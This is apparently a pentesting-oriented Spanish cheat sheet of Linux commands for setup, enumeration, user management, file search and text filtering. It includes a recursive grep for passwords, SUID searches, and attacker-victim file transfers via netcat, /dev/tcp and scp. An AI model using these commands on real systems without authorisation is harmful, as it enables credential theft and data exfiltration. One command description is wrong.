Script: <- Importamos la clave GPG oficial de los repositorios de Kali.
wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
Script: <- Sincronizamos paquetes y aplicamos todas las actualizaciones disponibles.
sudo apt update && sudo apt upgrade && sudo apt dist-upgrade
Script: <- Eliminamos paquetes residuales y liberamos espacio en disco.
sudo apt clean && sudo apt autoclean && sudo apt autoremove
Script: <- Configuramos la localización del sistema y reiniciamos.
dpkg-reconfigure locales && sudo reboot now
Script: <- Reconfiguramos el mapa de teclado y aplicamos cambios.
sudo dpkg-reconfigure keyboard-configuration && sudo setupcon && sudo service keyboard-setup restart && sudo reboot now
Script: <- Mostramos el nombre de la máquina en la red.
hostname
Script: <- Consultamos datos ampliados del sistema operativo.
hostnamectl
Script: <- Desplegamos detalles del procesador y arquitectura.
lscpu
Script: <- Imprimimos la versión del kernel y datos del sistema.
uname -a
Script: <- Visualizamos la versión de la distribución Linux instalada.
lsb_release -a
Script: <- Consultamos la versión del binario sudo.
sudo -V
Script: <- Mostramos la versión del intérprete Bash.
bash --version
Script: <- Indicamos las dimensiones actuales de la terminal.
stty size
Script: <- Listamos las interfaces de red y sus configuraciones.
ip a // ifconfig
Script: <- Mostramos el árbol de procesos en ejecución.
ps -faux
Script: <- Visualizamos las conexiones de red activas.
netstat -nat
Script: <- Enumeramos los puertos y servicios en escucha.
lsof -i -P -n
Script: <- Mostramos sockets TCP/UDP y procesos asociados.
ss -tunlp
Script: <- Verificamos si un puerto específico está en uso.
lsof -i:<Puerto>
Script: <- Terminamos el proceso que ocupa un puerto determinado.
fuser -k <Puerto>/tcp /////// fuser -k <Puerto>/udp
Script: <- Listamos las particiones y discos reconocidos.
fdisk -l
Script: <- Muestra los usuarios con sesión activa en el sistema.
who
Script: <- Indica el nombre del usuario actual.
whoami
Script: <- Muestra el UID, GID y grupos del usuario activo.
id
Script: <- Si pertenecemos al grupo “sudo”, podemos elevar nuestros privilegios.
sudo su
Script: <- Cambiamos de usuario en la terminal actual.
su <Nombre del usuario>
Script: <- Creamos un usuario de forma detalla y completa.
useradd -m -d /home/<Usuario nuevo> -s <Shell, ej: /bin/bash> -p $(openssl passwd -1 <Password>) <Usuario nuevo>
Script: <- Cambia la contraseña de un usuario.
passwd <Usuario>
Script: <- Cambiamos el nombre a un usuario y su carpeta dentro de: “/home”…
usermod -l <Nombre nuevo> -d /home/Nombre nuevo> -m <Usuario>
Script: <- Elimina un usuario del sistema.
userdel -r <Nombre>
Script: <- Crea un nuevo grupo en el sistema.
groupadd <Nombre del grupo>
Script: <- Elimina un grupo del sistema.
groupdel <Nombre del Grupo>
Script: <- Elimina un usuario de un grupo específico.
gpasswd -d <Usuario> <Grupo>
Script: <- Agrega un usuario a un grupo específico.
usermod -aG <Grupo> <Usuario>
Script: <- Cambiamos el nombre de un grupo existente.
groupmod -n <Nombre nuevo del grupo> <Nombre actual del grupo>
Script: <- Muestra información detallada de un usuario específico.
finger <Usuario>
Script: <- Lista los directorios y archivos en el directorio actual.
pwd
Script: <- Lista los directorios y archivos en el directorio actual.
ls
Script: <- Lista de forma detallada el contenido del directorio.
ls -l
Script: <- Lista los archivos ocultos en el directorio.
ls -la
Script: <- Muestra datos como la fecha de creación de un archivo, entre otros.
stat
Script: <- Nos lleva de vuelta a nuestro directorio: Home/(Usuario).
cd
Script: <- Nos permite navegar por diferentes directorios.
cd <Directorio>
Script: <- Nos lleva a la raíz principal del sistema.
cd /
Script: <- Nos lleva a la carpeta anterior a la que nos encontramos.
cd ..
Script: <- Detalla información sobre el archivo a analizar.
file <Archivo>
Script: <- Analiza el tipo de contenido desde un pipe.
| file -
Script: <- Moveremos el archivo donde elijamos e incluso podemos renombrarlo.
mv <Archivo> <Directorio>
Script: <- Copiaremos el archivo donde elijamos.
cp <Archivo> <Directorio>
Script: <- Copiaremos todo el contenido de un directorio a otro directorio.
rsync -av <Directorio> <Directorio>
Script: <- Crea un nuevo directorio.
mkdir <Nombre>
Script: <- Crea varios directorios a la vez, utilizando el símbolo { }.
mkdir {Nombre,Nombre,Nombre}
Script: <- Crea todos los directorios que pongamos en la ruta absoluta si es que no existen.
mkdir -p Creando/todos/los/directorios/que/queramos/en/la/ruta
Script: <- Crea un directorio temporal.
mktemp -d
Script: <- Imprime en pantalla el texto especificado.
echo <Texto>
Script: <- Crea un archivo con el nombre y la extensión especificados.
touch <Nombre>.<Extension>
Script: <- Lee el contenido de un archivo.
cat <Archivo>
Script: <- Lee el contenido de un archivo con navegación.
less <Archivo>
Script: <- Lee el contenido de un archivo y si el texto es grande podremos usar “v” y poner editor texto
more <Archivo>
Script: <- Editor de texto simple.
nano <Nombre>.txt
Script: <- Editor de texto básico.
vi <Nombre>.txt
Script: <- Editor de texto avanzado.
vim <Nombre>.txt
Script: <- Borra un archivo.
rm
Script: <- Borra el contenido de un directorio (ideal para directorios).
rm -r
Script: <- Borra el contenido de un directorio y el directorio en sí.
rm -rf
Script: <- Sobrescribe el archivo múltiples veces antes de borrarlo.
shred -zun 1000 -v <Archivo>
Existen 2 tipos de rutas:
Rutas absolutas: Proporcionan la ubicación exacta desde la raíz del sistema de archivos hasta el archivo final.
Rutas relativas: Especifican la ubicación de un archivo o directorio en relación con el directorio actual.
Script: <- Nos muestra la ruta absoluta de un comando.
which <Herramienta>
Script: <- Alternativa para encontrar la ruta de un comando.
command -v <Herramienta>
Script: <- Muestra los directorios por los cuales se busca al ejecutar un comando.
echo $PATH
Script: <- Encuentra archivos modificados hace X días.
find / <Parametro que queramos> -mtime +<Dias atras del archivo> 2>/dev/null
Script: <- Ejecuta cat en cada archivo encontrado.
find / -type f -exec cat {} \;
Script: <- Localiza archivos por su nombre exacto.
find / -name <Archivo> 2>/dev/null
Script: <- Encuentra todos los archivos regulares.
find / -type f 2>/dev/null
Script: <- Encuentra archivos propiedad de un usuario específico.
find / -user <Nombre del usuario> 2>/dev/null
Script: <- Encuentra archivos propiedad de un grupo específico.
find / -group <Nombre del grupo> 2>/dev/null
Script: <- Localiza archivos según su tamaño (complementar con la lista de tamaños).
find / -size <Tamaño> <Parámetro> 2>/dev/null
Script: <- Encuentra archivos con permiso SUID activado.
find / -perm -4000 2>/dev/null
Script: <- Encuentra archivos con permiso GUID activado.
find / -perm -2000 2>/dev/null
Script: <- Localiza archivos con ACL específica para un usuario.
find / -exec sh -c 'getfacl {} 2>/dev/null | grep -q "user:<Usuario>" && echo {}' \; 2>/dev/null
Script: <- Encuentra archivos con permisos de lectura.
find / -readable 2>/dev/null
Script: <- Encuentra archivos con permisos de escritura.
find / -writable 2>/dev/null
Script: <- Busca archivos de tamaño específico en bloques de 512 bytes.
find / -size <Numero>b
Script: <- Busca archivos por tamaño exacto en bytes.
find / -size <Numero>c
Script: <- Busca archivos por tamaño en words (2 bytes).
find / -size <Numero>w
Script: <- Busca archivos por tamaño en KB.
find / -size <Numero>k
Script: <- Busca archivos por tamaño en MB.
find / -size <Numero>M
Script: <- Busca archivos por tamaño en GB.
find / -size <Numero>G
Extra: Si no recordamos el nombre del archivo, podemos utilizar el siguiente método:
Script: <- Con el símbolo * realizamos una búsqueda recursiva a partir del punto en el que se coloca el símbolo.
find / -name Director* 2>/dev/null
Script: <- Filtra líneas que contengan cualquiera de las palabras especificadas
| grep -E "<Palabra>|<Palabra>"
Script: <- Suprime las líneas que contengan la palabra seleccionada.
| grep -v "<Palabra>"
Script: <- Muestra líneas antes y después del match.
| grep <Palabra> -C <Numero>
Script: <- Muestra líneas después del match encontrado.
| grep <Palabra> -A <Numero>
Script: <- Muestra líneas antes del match encontrado.
| grep <Palabra> -B <Numero>
Script: <- Extrae solo el texto que está entre comillas dobles.
| grep -oP '".*?"'
Script: <- Filtra y remueve las líneas sin contenido.
| grep -v "^$"
Script: <- Cuenta el número total de líneas de la salida.
| wc -l
Script: <- Cuenta la cantidad de caracteres de la salida.
| wc -c
Script: <- Imprime solo la línea en la posición indicada.
| sed -n '<Numero>p'
Script: <- Imprime un bloque continuo de líneas (ej: 10 a 20)
| sed -n '10,20p'
Script: <- Sustituye todas las ocurrencias de un texto por otro.
| sed 's/viejo/nuevo/g'
Script: <- Mostrar primeras líneas de la salida.
| head -n <Numero>
Script: <- Mostrar ultimas líneas de la salida.
| tail -n <Numero>
Script: <- Elimina todas las ocurrencias de un carácter específico.
| tr -d '<Caracter>'
Script_: <- Elimina todas las ocurrencias de un carácter específico.
| tr -d '<Caracter>'
Script_: <- Remueve todas las comillas dobles del texto.
| tr -d '"'
Script: <- Junta todo el contenido en una sola línea.
| tr -d '\n'
Script: <- Reduce múltiples espacios consecutivos a uno solo.
| tr -s ' '
Script: <- Transforma espacios y tabs en saltos de línea.
| tr ' ' '\n' | tr '\t' '\n'
Script: <- Imprime una columna específica del texto.
| awk '{print $Número}'
Script: <- Imprime la última columna de cada línea.
| awk '{print $NF}'
Script: <- Muestra los resultados organizados en columnas.
| column
Script: <- Muestra los resultados en columnas con formato alineado.
| column -t
Script: <- Ordena las líneas alfabéticamente.
| sort
Script: <- Ordena las líneas numéricamente.
| sort -n
Script: <- Filtra y elimina líneas duplicadas consecutivas.
| uniq
Script: <- Muestra únicamente las líneas que aparecen más de una vez.
| sort | uniq -d
Script: <- Muestra únicamente las líneas que aparecen una sola vez.
| sort | uniq -u
Script: <- Cuenta cuántas veces aparece cada línea.
| sort | uniq -c
Script: <- Transforma todo el texto a minúsculas.
| tr '[:upper:]' '[:lower:]'
Script: <- Transforma todo el texto a mayúsculas.
| tr '[:lower:]' '[:upper:]'
Script: <- Convierte una cadena de texto a formato Base64.
| base64
Script: <- Convierte una cadena Base64 a texto legible.
| base64 -d
Script: <- Convierte una cadena de texto a representación hexadecimal.
| xxd
Script: <- Convierte una cadena hexadecimal a texto legible.
| xxd -r
Script: <- Busca la palabra en todos los archivos del directorio actual.
grep -i "<Palabra>" ./*
Script: <- Busca la palabra recursivamente en todos los subdirectorios.
grep -ri "<Palabra>"
Script: <- Muestra solo los nombres de archivo que contienen la palabra.
grep -ril "<Palabra>"
Script: <- Busca recursivamente cualquiera de los patrones especificados.
grep -riEl "user|username|pass|password|DB|root" 2>/dev/null
Script: <- Envía un archivo al puerto de escucha del receptor.
nc <IP del Receptor> <Puerto del Receptor> < <Ruta absoluta del binario o archivo>
Script: <- Escucha en un puerto y guarda el archivo recibido.
nc -nlvp <Puerto> > <Binario>
Script: <- Levanta un servidor HTTP temporal en el directorio actual.
python3 -m http.server <Puerto>
Script: <- Descarga el archivo usando wget desde el servidor Python.
wget -r http://<IP Emisor>:<Puerto>/<Archivo>
Script: <- Levanta un servidor HTTP para compartir archivos.
python3 -m http.server <Puerto>
Script: <- Descarga el archivo usando curl desde el servidor Python.
curl -O http://<IP Emisor>:<Puerto>/<Archivo>
Script: <- Envía el archivo directamente mediante redirección TCP.
cat <Archivo> > /dev/tcp/<IP Receptor>/<Puerto>
Script: <- Escucha y recibe el archivo por netcat.
nc -nvlp <Puerto> > <Archivo>
Script: <- Copia un archivo desde el atacante a la víctima por SSH.
scp <Herramienta> <Usuario>@<IP>:/tmp/<Herramienta>
Script: <- Copia un archivo desde la víctima al atacante por SSH.
scp <Usuario>@<IP>:<Ruta absoluta del archivo> <Ruta absoluta de donde queremos guardarlo>
Script: <- Copia archivos especificando un puerto personalizado.
scp -P <Puerto> <Herramienta> <Usuario>@<IP>:/tmp/<Herramienta>
Script: <- Copia archivos usando autenticación por clave SSH.
scp -i id_rsa <Herramienta> <Usuario>@<IP>:/tmp/<Herramienta>
Script: <- Copia directorios completos de forma recursiva.
scp -r <Carpeta> <Usuario>@<IP>:/tmp/